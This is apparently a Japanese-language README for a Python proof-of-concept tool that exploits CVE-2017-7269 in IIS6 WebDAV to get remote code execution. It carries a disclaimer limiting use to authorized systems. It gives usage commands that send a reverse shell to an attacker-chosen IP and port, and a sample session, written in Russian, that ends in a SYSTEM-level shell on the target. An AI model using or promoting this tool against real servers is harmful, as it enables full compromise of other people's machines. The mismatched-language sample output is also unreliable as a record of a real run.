GenWebDavIISExploit は、IIS6 の WebDAV コンポーネントにおける既知の脆弱性を悪用するための PoC ツールです。このツールは教育および研究目的で設計されており、脆弱性を利用してリモートサーバー上で任意のコードを実行する方法を示します。

免責事項

このプロジェクトは教育目的のみを意図しています。このツールは責任を持って、自分が所有するシステム、またはテストの明示的な許可を得たシステムでのみ使用してください。コンピュータシステムへの不正アクセスは違法です。

特徴

脆弱な IIS6 WebDAV サーバーでのリモートコード実行。
ユーザー指定のリバース IP とポートを用いた動的ペイロード生成。
迅速なエクスプロイトのための使いやすいコマンドラインインターフェース。

前提条件

Python 3.x: システムに Python 3 がインストールされていることを確認してください。
ネットワークアクセス: ターゲットマシンの IP とポートに接続できること。

使用方法

コマンドライン引数

ターゲット IP: ターゲット IIS6 WebDAV サーバーの IP アドレス。
ターゲットポート: WebDAV サービスが動作しているポート番号（通常は 80）。
リバース IP: リバースシェルが接続するあなたの IP アドレス。
リバースポート: リバースシェルを受信するためのあなたのシステム上のポート番号。

使用例

python3 GenWebDavIISExploit.py <target_ip> <target_port> <reverse_ip> <reverse_port>

使用例

python3 GenWebDavIISExploit.py 192.168.1.10 80 192.168.1.5 4444

出力例

$ python3 GenWebDavIISExploit.py 192.168.1.10 80 192.168.1.5 4444

[*] Подключение к цели 192.168.1.10 на порту 80...
[*] Отправка специально сформированного HTTP-запроса для эксплуатации уязвимости...
[*] Длина полезной нагрузки: 1744 байт
[*] Ожидание обратного соединения...

[+] Ответ от цели:
HTTP/1.1 200 OK
Content-Length: 123
Server: Microsoft-IIS/6.0

[+] Получено обратное соединение от 192.168.1.10:12345
[+] Удаленный доступ успешно установлен!

C:\Windows\system32> whoami
nt authority\system

C:\Windows\system32> ipconfig
Настройка IP Windows

   Адаптер Ethernet Local Area Connection:
      DNS-суффикс подключения . . . . . : example.local
      IPv4-адрес. . . . . . . . . . . . : 192.168.1.10
      Маска подсети . . . . . . . . . . : 255.255.255.0
      Основной шлюз . . . . . . . . . . : 192.168.1.1

注意事項

指定したリバースポートでリスナーを実行し、着信するリバースシェルをキャプチャできるようにしてください。
このツールは、脆弱性をテストするために許可されたシステムでのみ使用してください。

CVE-2017-7269

人気